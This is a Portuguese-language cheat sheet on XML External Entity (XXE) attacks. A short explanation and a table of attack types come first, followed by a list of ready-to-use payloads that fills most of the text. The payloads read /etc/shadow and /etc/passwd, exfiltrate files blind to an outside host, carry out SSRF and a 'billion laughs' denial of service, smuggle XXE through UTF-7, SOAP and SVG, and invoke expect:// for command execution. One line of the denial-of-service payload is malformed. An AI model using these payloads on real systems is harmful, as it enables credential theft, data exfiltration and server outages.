
Um ataque de XML External Entity (XXE) (às vezes chamado de ataque de injeção XXE) é um tipo de ataque que abusa de um recurso amplamente disponível, mas raramente usado, de analisadores XML. Usando o XXE, um invasor pode causar negação de serviço (DoS), além de acessar conteúdo e serviços locais e remotos. O XXE pode ser usado para executar a falsificação de solicitações do lado do servidor (SSRF) identificando o aplicativo Web para fazer solicitações para outros aplicativos. Em alguns casos, o XXE pode até ativar a verificação de portas e levar à execução remota de código. Existem dois tipos de ataques XXE: dentro da banda e fora da banda (OOB-XXE).
Existem vários tipos de ataques XXE:
| XXE Tipo de Ataque | Descrição |
|---|---|
| Explorando XXE para recuperar arquivos | Onde uma entidade externa é definida contendo o conteúdo de um arquivo e retornada na resposta do aplicativo. |
| Explorando XXE para executar ataques SSRF | Onde uma entidade externa é definida com base em uma URL para um sistema backend. |
| Explorar os dados cegos de exfiltrar XXE fora da banda | Onde dados confidenciais são transmitidos do servidor de aplicativos para um sistema que o invasor controla. |
| Explorando o XXE cego para recuperar dados por meio de mensagens de erro | Onde o invasor pode acionar uma mensagem de erro de análise contendo dados confidenciais. |
Cargas úteis da injeção de entidade externa XML (XXE)
XXE: Exemplo básico de XML
<!--?xml version="1.0" ?-->
<userInfo>
<firstName>John</firstName>
<lastName>Doe</lastName>
</userInfo>
XXE: Exemplo de entidade
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>
XXE: divulgação de arquivos
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
XXE: Exemplo de negação de serviço
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>
Exemplo de inclusão de arquivo local XXE:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
XXE: Exemplo de inclusão de arquivo local cego (quando o primeiro caso não retorna nada.)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
XXE: Ignorar Controle de Acesso (Carregando Recursos Restritos – exemplo PHP)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>∾</result></foo>
XXE: Exemplo de SSRF (falsificação de solicitação do lado do servidor)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
XXE: (ataque remoto – através da inclusão de XML externo)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>
XXE: Exemplo UTF-7
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
XXE: Base64 codificado
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
XXE: XXE dentro do exemplo SOAP
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
XXE: XXE dentro do SVG
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
Referências:
Entidade externa XML (XXE) Processando testes de
prevenção de entidade externa XML
para injeção de XML (OTG-INPVAL-008)
O que são ataques de entidade externa XML (XXE)

